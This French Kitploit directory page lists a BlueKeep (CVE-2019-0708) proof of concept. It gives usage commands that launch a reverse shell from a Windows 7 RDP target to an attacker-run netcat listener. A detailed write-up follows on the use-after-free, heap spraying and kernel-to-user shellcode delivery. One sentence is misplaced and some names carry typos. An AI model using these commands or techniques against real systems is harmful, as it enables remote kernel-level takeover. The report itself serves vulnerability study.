Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) preuve de concept permettant une exécution de code à distance (RCE) pré-authentification sur Windows 7 | Kitploit
Outils/GitHubGitHub/ricseclab/cve-2019-0708
Analyse des VulnérabilitésExploitationTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) preuve de concept permettant une exécution de code à distance (RCE) pré-authentification sur Windows 7

Voir le dépôt
1502344il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-0708 (BlueKeep) POC RCE pré-authentification sur Windows7

Ricerca Security, Inc.

Ce dépôt démontre le bug d'exécution de code à distance dans les services Remote Desktop Services (RDS) de Windows.

Voici un code POC et un rapport technique sur la vulnérabilité BlueKeep, que nous avons développés auparavant.
NOTE : Notre objectif est d'aider les analystes à mieux comprendre les vulnérabilités critiques.

Comment utiliser

Prérequis

Notre code d'exploit est écrit en Python 3 et repose sur la bibliothèque PyRDP. Veuillez les configurer en suivant le guide d'installation de PyRDP.

Utilisation

Actuellement, notre exploit cible et a été testé sur Windows 7 SP 1 (6.1.7601) x64 sur Virtual Box.

Si votre ordinateur a l'adresse IP 192.168.56.1 et que vous ciblez le serveur RDP à example.com:1234, tapez alors

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1

Si le script exploite avec succès le serveur, un shellcode de connexion inverse initie une connexion TCP du serveur vers 192.168.56.1:4444. Par conséquent, par exemple, vous devez attendre la connexion avec netcat :

Ainsi, il y a beaucoup de choses à faire après avoir obtenu l'exécution de code arbitraire, bien que toutes ces choses puissent être résolues presque directement. Finalement, notre exploit a atteint son objectif.
root@kitploit:~
$ nc -v -l 4444

Si vous souhaitez modifier le numéro de port auquel le serveur se reconnecte, utilisez l'option -bp :

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Rapport

La vulnérabilité

En mai 2019, Microsoft a divulgué une vulnérabilité critique d'exécution de code à distance CVE-2019-0708, dans les services Remote Desktop Services (anciennement Terminal Services). Cette vulnérabilité est pré-authentification — ce qui signifie qu'elle est wormable, avec le potentiel de provoquer des perturbations généralisées. Un attaquant peut exploiter cette vulnérabilité en envoyant des messages Remote Desktop Protocol (RDP) spécialement conçus au serveur cible et obtenir une exécution de code arbitraire avec des privilèges administratifs.

Canal virtuel RDP

Microsoft Remote Desktop Services permet à un utilisateur d'ouvrir des sessions Windows interactives à distance. Il présente le bureau Windows de l'utilisateur en communiquant avec le client utilisateur via le protocole Remote Desktop Protocol (RDP) sur le port 3389/TCP.

Le protocole RDP peut être amélioré par des extensions logicielles appelées Virtual Channel. Des exemples d'améliorations fonctionnelles pourraient inclure : le support de types spéciaux de matériel, l'audio, ou d'autres ajouts à la fonctionnalité de base.
Ces canaux incluent des canaux standard supposés par Microsoft tels que "rdpdr" (Redirection), "rdpsnd" (Son), "cliprdr" (Partage de presse-papiers) etc. Les utilisateurs peuvent écrire des modules en utilisant l'API RDP pour supporter d'autres canaux. En plus des canaux ci-dessus, Microsoft crée deux canaux par défaut : MS_T120 (utilisé pour RDP lui-même) et CTXTW (utilisé dans Citrix ICA).

La vulnérabilité est liée au processus de liaison des canaux virtuels de MS_T120 via la requête "MCS Connect Initial and GCC Create". Plus d'informations sur le contexte sont disponibles sur ZDI.
Comme mentionné dans l'article de ZDI, tous les canaux virtuels demandés par le client sont créés en utilisant termdd!IcaCreateChannel(). Ensuite, les pointeurs vers ces structures de canal sont stockés dans une table, que nous appellerons ChannelPointerTable.
Lorsqu'une connexion est établie avec le client RDP, tous les canaux virtuels statiques, y compris MS_T120, sont initialisés en interne par le serveur RDP Windows et pointés par ChannelPointerTable.

La requête pour créer MS_T120 et CTXTW est émise par rdpcore!WDLIB_IcaVirtualQueryBindings().

Fig .1 : Génération de la requête pour la création de MS_T120 et CTXTW

Après que la requête soit passée à termdd!IcaBindVirtualChannels(), une structure de canal virtuel est créée dans termdd!IcaAllocateChannel() et enregistrée dans ChannelPointerTable.

Fig .2 : Création et enregistrement de la structure de canal virtuel

La routine de fonction termdd!IcaBindChannel() est responsable de l'enregistrement d'une structure de canal virtuel dans ChannelPointerTable. IcaBindChannel
Voici la trace de pile sur Windows 7 x64, lorsque termdd!IcaBindChannel() est appelée avec le premier argument "MS_T120" et le troisième argument 0x1f.

Fig .3 : MS_T1209 est lié à l'emplacement 0x1f lors de la requête initiale

Ensuite, ChannelPointerTable ressemble à ceci. Notez que MS_T120 est toujours présent dans l'emplacement 0x1F.

Fig .4 : ChannelPointerTable lors de la requête initiale

Analyse de la cause racine

Une vulnérabilité de type use-after-free existe dans le pilote noyau RDP Windows, termdd.sys.
Le problème est que lorsque le client spécifie un canal avec le nom MS_T120\x00 lors de la requête "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() appelle termdd!IcaFindChannelByName() et renvoie la structure de canal MS_T120 existante dans l'emplacement 0x1F. Ensuite, cette structure de canal est considérée comme une nouvelle entrée de canal virtuel et stockée dans un autre emplacement (dans cet exemple, l'emplacement 2) lors de la requête "MCS Attach User Request".
Voici la trace de pile sur Windows 7 x64, lorsque termdd!IcaBindChannel() est appelée avec le premier argument "MS_T120" et le troisième argument 0x2.

Fig .5 : MS_T1209 est également lié à l'emplacement 0x2 lors de la requête d'attachement

En d'autres termes, la structure de canal MS_T120 est pointée par deux emplacements 0x1F et 0x2.

Fig .6 : ChannelPointerTable lors de la requête d'attachement

Si un attaquant envoie ensuite des données invalides dans le canal MS_T120, termdd.sys ferme le canal en utilisant termdd!IcaCloseChannel(), efface le pointeur à l'emplacement (l'emplacement 2 dans l'exemple).
Cependant, le même pointeur dans l'emplacement 0x1F n'est pas effacé.
Par la suite, lorsque la connexion se termine, RDPWD!HandleDisconnectProviderUlt() est invoquée, ce qui à son tour appelle termdd!IcaChannelInputInternal() et tente de détruire à nouveau la structure de canal libérée MS_T1209 en utilisant le pointeur à l'emplacement 0x1F. Une procédure de destruction est invoquée par le pointeur vtable dans la structure du canal. Cela conduit à une condition de use-after-free.

Fig .7 : Déréférencement de vtable

Heap Spraying

Comme expliqué dans la section précédente, RDPWD!HandleDisconnectProviderUlt() tente d'appeler une fonction à partir du pointeur vtable dans la structure de canal libérée. Si un attaquant peut contrôler les valeurs dans la structure de canal, il peut écraser le pointeur vtable, ce qui conduit à une exécution de code arbitraire avec des privilèges noyau.
Pour réaliser cela, cependant, il y a deux difficultés à surmonter.

L'une est comment contrôler les valeurs dans la structure de canal libérée en premier lieu. Pour cela, il est typique et fiable pour un attaquant d'allouer de la mémoire au même emplacement que celui de la structure libérée, car la vulnérabilité ciblée est un use-after-free.
Cependant, dans ce cas, il n'y a aucun moyen déterministe pour lui d'allouer sa mémoire à l'emplacement cible comme il le souhaite.
Cela est dû au fait que, dans le noyau, de nombreux threads s'exécutent et allouent de la mémoire (virtuellement) simultanément. L'emplacement où sa mémoire sera allouée dépend de l'ordre dans lequel les threads s'exécutent. Dans la quasi-totalité des cas, il ne peut pas être certain d'avoir réussi une allocation.
HeapSizeChange
HeapSizeChange

L'autre est où définir les adresses de la vtable et des pointeurs qu'elle contient. Comme vu dans la section précédente, un attaquant doit définir l'adresse de la vtable. Puisqu'il souhaite obtenir une exécution de code arbitraire, il doit définir l'adresse de sorte que la fausse vtable contienne l'adresse qu'il souhaite voir exécutée (par exemple, l'adresse d'un shellcode ou d'un gadget). Cependant, il ne peut presque certainement pas connaître une telle adresse appropriée en raison de l'aléatoire mentionné du tas noyau et de KASLR :

  1. Il peut probablement allouer de la mémoire dans le tas noyau et écrire l'adresse d'un shellcode à l'emplacement de mémoire alloué. Néanmoins, il ne peut généralement pas connaître l'adresse de l'emplacement alloué, en raison de l'aléatoire mentionné ci-dessus.
  2. C'est peu probable, mais l'autre option est d'utiliser des emplacements mémoire statiques (non-tas) qui contiennent une adresse de gadgets utiles par hasard, comme quelque part dans la section de code. Cependant, ce plan ne fonctionnerait pas non plus bien car Windows 7 dispose de la mitigation KASLR, qui randomise les adresses de ces emplacements mémoire.

Ces faits signifient qu'un attaquant ne peut pas obtenir directement une exécution de code arbitraire même s'il peut contrôler le pointeur vtable, à moins d'utiliser une autre vulnérabilité qui fuite des adresses dans le noyau. De plus, comme vous pouvez le remarquer, "l'adresse d'un shellcode ou d'un gadget" est également quelque chose qu'un attaquant ne peut pas connaître.

Notre exploit traite ces obstacles par une seule technique : heap spraying. Le heap spraying est une méthode pour briser cet aléatoire, en effectuant un grand nombre d'allocations d'une grande quantité de mémoire.

Fig .8 : Utilisation du pool de tas avant le spraying

Fig .9 : Utilisation du pool de tas après le spraying

En répétant de nombreuses allocations fabriquées, un attaquant peut augmenter la probabilité qu'une partie de la mémoire allouée se situe à l'emplacement de la structure de canal libérée.

Si la majorité des objets dans le tas noyau sont ceux préparés par un attaquant, il peut alors même spécifier négligemment une adresse dans le tas comme adresse de la fausse vtable, car l'adresse spécifiée a de très fortes chances de pointer vers ses objets. Nous notons que l'adresse de base du tas noyau n'est pas randomisée par KASLR. Fondamentalement, l'aléatoire du tas provient uniquement de l'ordre d'exécution des threads.

Heureusement et surtout, dans Windows 7, le bit NX n'est pas activé dans le pool noyau non paginé. Cela signifie qu'un attaquant peut stocker dans le tas noyau, non seulement la fausse vtable, mais aussi un shellcode directement. Cela rend l'exploitation beaucoup plus facile car nous n'avons pas besoin d'utiliser la programmation orientée retour.

Fig .10 : Permission de l'entrée de table de pages (PTE)

Pour le heap spraying, évidemment un attaquant a besoin de la fonctionnalité lui permettant d'allouer de la mémoire dans le tas noyau et d'y fournir une entrée. Basé sur le rapport de Unit 42 et l'exploit BlueKeep dans Metasploit, nous avons recherché des pilotes noyau pour des routines offrant cette fonctionnalité. Nous avons testé de nombreuses PDU et avons finalement conclu que le moyen le plus fiable et utile est d'envoyer une PDU de canal virtuel vers le canal rdpsnd, comme le fait l'exploit de Metasploit. Pour référence, expliquons pourquoi nous n'avons pas pu adopter trois types de PDU introduits dans le rapport de Unit 42 :

  • Bitmap Cache PDU : tout d'abord, un attaquant ne peut envoyer cette PDU que pendant la première poignée de main. Parce que le use-after-free se produit après la fin de la poignée de main, elle ne peut pas être utilisée pour écraser la vtable. De plus, avec cette PDU, un attaquant ne peut allouer que 0x2b5240 octets (< 3 Mo) de mémoire, ce qui n'est pas suffisant pour le heap spraying.
  • Client Name Request PDU : nous pensions que cette PDU était prometteuse pour le heap spraying. Cependant, d'après nos tests, cette PDU ne peut pas être envoyée (ou reçue) plusieurs fois, du moins de manière simple. En raison du manque de détails, nous n'avons pas pu déterminer ce que ce résultat signifie : que l'attaquant doit envoyer des paquets fabriqués et compliqués pour utiliser cette PDU, ou que cette routine a changé et ne fonctionne pas dans un environnement 64 bits.
  • Refresh Rect PDU : cette PDU est efficace pour le heap spraying dans le sens où un attaquant peut allouer une quantité de mémoire bien plus grande que la taille des données qu'il envoie réellement. Cependant, comme un attaquant ne peut contrôler que 8 octets de données dans la mémoire allouée par cette PDU, il est difficile de faire une utilisation significative de cette allocation. Nous omettons les détails, mais nous pensons qu'au moins 13 octets (8 octets pour la vtable et 5 octets pour "jmp $+0x1000") de données devraient pouvoir être contrôlés pour qu'un attaquant utilise efficacement ce type de PDU.

La PDU de canal virtuel est, comme son nom l'indique, échangée entre le client et le serveur pour transporter des données vers les canaux virtuels statiques. Quant à la façon dont les données à l'intérieur de la PDU seront traitées, cela varie selon le canal. Parmi plusieurs canaux bien connus que Microsoft fournit comme extensions, le canal rdpsnd a la caractéristique unique de recevoir n'importe quelle entrée et d'allouer de la mémoire pour celle-ci. Étant donné que ce canal peut être utilisé par défaut dans Windows 7, nous pouvons simplement envoyer nos charges utiles pour le heap spraying.

Nous avons écrit une preuve de concept en gardant à l'esprit les points importants mentionnés ci-dessus, et avons réussi à obtenir une exécution de code arbitraire.

Fig .11 : Adresse de vtable contrôlée

Fig .12 : Réussite de l'écrasement de l'adresse de vtable par une adresse malveillante pointant vers un shellcode (ud2)

Exécution de code

Bien que nous ayons décrit comment obtenir l'exécution d'un shellcode dans la section précédente, ce n'est pas tout. Le shellcode s'exécute dans l'espace noyau alors que ce qu'un attaquant souhaite, ce sont des privilèges administratifs dans "l'espace utilisateur". Ils sont théoriquement similaires dans ce qu'il peut faire avec, mais différents dans la manière dont il peut réaliser les actions qu'il souhaite. Par exemple, avec un shellcode, un attaquant peut avoir besoin d'écrire des centaines de lignes de code assembleur pour lister les fichiers dans un répertoire, alors qu'avec un shell privilégié, il peut simplement taper 'dir'.

Ainsi, le but de notre exploit est de fournir un shell privilégié à un attaquant, et cela nécessite des efforts supplémentaires. Puisque le shellcode est exécuté dans l'espace noyau, le shellcode doit d'abord trouver ou créer un thread d'espace utilisateur (privilégié), puis exécuter cmd.exe dans ce thread. Cette fois, nous devons considérer deux choses : comment trouver ou créer un thread, et comment allouer de la mémoire dans l'espace utilisateur pour exécuter le shellcode dans l'espace utilisateur.

La première question de trouver un thread d'espace utilisateur se pose car le contexte dans lequel le shellcode s'exécute n'est pas un contexte de processus normal. S'il s'exécute dans un contexte de processus, il peut simplement utiliser l'instruction IRET pour revenir à l'espace utilisateur. Cependant, dans ce cas, l'exécution de IRET provoque le gel du noyau. Il existe plusieurs façons de résoudre ce problème, mais parmi celles-ci, la méthode la plus générale et utile est l'appel de procédure asynchrone (APC), le mécanisme que Windows fournit pour le traitement des événements asynchrones. L'APC permet à un programme d'exécuter des fonctions dans un contexte de thread spécifié même d'un processus différent. Avec ce mécanisme, le shellcode peut facilement et légitimement créer un nouveau thread d'espace utilisateur.

Lors de l'enregistrement de l'APC, nous devons spécifier l'adresse à partir de laquelle un nouveau thread d'espace utilisateur commence son exécution. Cependant, jusqu'à présent, nous n'allouons de la mémoire que dans le tas noyau, ce qu'un thread d'espace utilisateur ne peut clairement pas accéder. Pour qu'un shellcode d'espace utilisateur soit exécuté, nous devons préparer un autre emplacement mémoire visible depuis l'espace utilisateur et y stocker le shellcode d'espace utilisateur. Ainsi, nous rencontrons la seconde question d'allouer de la mémoire dans l'espace utilisateur. Une façon possible et normale de traiter ce problème est de créer un nouveau mappage avec ZwAllocateVirtualMemory. C'est cependant un peu redondant, et il existe en fait un moyen plus simple dans Windows 7 : utiliser KUSER_SHARED_DATA. KUSER_SHARED_DATA est une structure de données stockée dans le mappage dédié, qui est mappé à la fois dans l'espace utilisateur et l'espace noyau, et se trouve à une adresse fixe (respectivement 0x7FFE0000 et 0xFFFFF78000000000). C'est une fonctionnalité similaire à vsyscall sous Linux. Si nous stockons le shellcode d'espace utilisateur dans ce mappage, tout se passe bien : le shellcode d'espace noyau peut copier le shellcode d'espace utilisateur dans ce mappage, et enregistrer l'APC sans difficulté puisqu'il connaît l'adresse du mappage.

Fig .13 : Le shellcode est stocké dans le mappage dédié, 0x7FFE0000 (mode utilisateur) et 0xFFFFF78000000000 (mode noyau)

Fig .14 : Un corps de shellcode

Version affectée

Cette vulnérabilité s'est vu attribuer un numéro CVE, CVE-2019-0708. Microsoft a déjà publié un correctif de sécurité KB4499175 le 15/05/2019.
Vous pouvez voir plus de détails sur la vulnérabilité, la version affectée et l'atténuation ici.

Remerciements

Ce projet a été partiellement soutenu par Advanced Technology Lab, Recruit Co., Ltd. Advanced Technology Lab

Télécharger l’outil